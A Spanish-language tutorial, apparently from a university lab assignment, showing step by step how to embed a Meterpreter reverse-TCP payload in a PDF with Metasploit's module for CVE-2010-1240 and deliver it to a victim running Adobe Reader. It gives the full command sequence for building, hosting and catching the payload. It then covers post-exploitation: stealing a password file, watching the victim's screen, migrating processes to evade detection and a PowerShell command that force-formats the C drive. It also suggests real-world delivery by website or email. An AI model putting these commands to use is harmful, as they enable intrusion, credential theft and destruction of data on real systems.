
Este video de demostración muestra cómo podemos controlar el dispositivo de la víctima enviando al objetivo un archivo PDF de apariencia inofensiva que en realidad contiene un payload incrustado. El exploit se hizo público como CVE-2010-1240.
presentado por
Este video de demostración muestra cómo podemos controlar el dispositivo de la víctima enviando un archivo PDF de apariencia inocente al objetivo, que en realidad contiene un payload incrustado. El exploit fue hecho público como CVE-2010-1240.
En cuanto el PDF se abre en Adobe Reader, los usuarios a los que hemos engañado para que acepten los avisos de seguridad nos permitirán obtener una sesión de meterpreter conectada a sus dispositivos a través de una conexión TCP inversa. Hasta ese momento, todos sus datos y lo que están haciendo en ese instante quedan bajo nuestra vigilancia.

Primero, lanzamos MSFconsole, que nos proporciona una interfaz de línea de comandos para acceder al framework de Metasploit.
msfconsole
Luego, buscamos el exploit que coincida con nuestra plataforma Windows objetivo y Adobe PDF Reader, lo que mostrará una lista completa de exploits que se pueden usar para secuestrar la máquina Windows de la víctima y explotar las vulnerabilidades de Adobe PDF Reader.
search type:exploit platform:windows adobe pdf
En esta explotación, seleccionamos y usamos el módulo "adobe_pdf_embedded_exe" con el comando siguiente para lograr el objetivo de secuestrar a la víctima.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
También podemos comprobar la información del exploit usando el comando “info” como se muestra a continuación:
info
Luego, configuramos el payload para usar una conexión TCP inversa. También usamos Meterpreter, que proporciona un shell interactivo que nos facilita el uso de todo tipo de funciones insertando y ejecutando el código para explorar la máquina de la víctima.
set payload windows/meterpreter/reverse_tcp
Luego, configuraremos el host y el puerto de escucha. Para LHOST, debemos poner la dirección IP de la máquina del atacante, que en este caso es la dirección IP de nuestra máquina Kali (10.0.2.4)*.
*p.s.
Mientras tanto, para LPORT, depende de nosotros establecer un número de puerto que no se use habitualmente.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
Luego, configuraremos el archivo de entrada como base del PDF con el flag INFILENAME*. A continuación, estableceremos el nombre de archivo a algo que atraiga el interés de la víctima para abrir el PDF malicioso.
*p.s.
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
Podemos ver nuestras opciones nuevamente antes de ingresar el comando “exploit” para generar el payload junto con el PDF.
# Then we can show the info or options by
show info | show options
exploit
Una vez que hayamos generado el archivo PDF, lo moveremos a /var/www/html, que es el directorio de nuestra máquina Kali para alojar el servidor de aplicaciones web y que la víctima descargue el PDF más tarde.
Note:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
Luego, para configurar nuestro listener, usaremos "exploit/multi/handler". De nuevo, configuraremos el payload, LHOST y LPORT alineados con lo que hemos definido al generar el archivo PDF malicioso. Luego ejecutaremos el payload.
Note:
show info o show options es un comando opcional de ejecutar.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
En otra terminal, comprobamos el estado del servidor Apache para asegurarnos de que esté ejecutándose y alojando nuestro archivo PDF en /var/www/html para que la víctima pueda descargarlo.
service apache2 status
# If it is inactive, start the service
service apache2 start
En la máquina Windows, abre cualquier navegador, como Chrome, y escribe la IP de nuestra Kali (10.0.2.4)* para acceder al servidor de aplicaciones web de la máquina Kali.
*Note: Ten en cuenta la dirección IP de tu propia máquina Kali
Luego, simula que un usuario guarda el archivo PDF deseado.
Una vez que la víctima abre el archivo en Adobe Reader 8.1.2 y acepta los mensajes de seguridad emergentes, podemos observar en nuestra máquina Kali que tenemos una nueva sesión conectada a través de una conexión TCP inversa.
En un escenario del mundo real, montaremos un sitio web con el PDF con payload incrustado para que la víctima descargue el archivo o lo reciba adjunto por correo electrónico.
Luego, podemos acceder de forma remota a la máquina de la víctima y seguir realizando más comportamientos maliciosos que queramos en la sesión de meterpreter.
help
pwd
ls
Por ejemplo, si hay un archivo llamado password.txt, podemos ejecutar el comando download password.txt
download [folder name | filename with extension]
Por supuesto, podemos escribir un script malicioso (implantando una puerta trasera) para mantenernos conectados a la máquina Windows si somos realmente malvados. 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
Sin embargo, el atacante puede reducir las sospechas migrando el proceso de meterpreter a un proceso diferente usando el módulo migrate en la sesión de meterpreter.
meterpreter> run post/windows/manage/migrate
Aquí, generará automáticamente un nuevo proceso en la máquina de la víctima para migrarse a él. La víctima podría entonces eliminar el archivo PDF infectado, sin saber que el proceso ya se ha trasladado a otro lugar.
El atacante también puede crear scripts maliciosos en la máquina objetivo usando el símbolo del sistema (cmd) o PowerShell, capaces de tumbar todo el sistema operativo para que no funcione correctamente.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false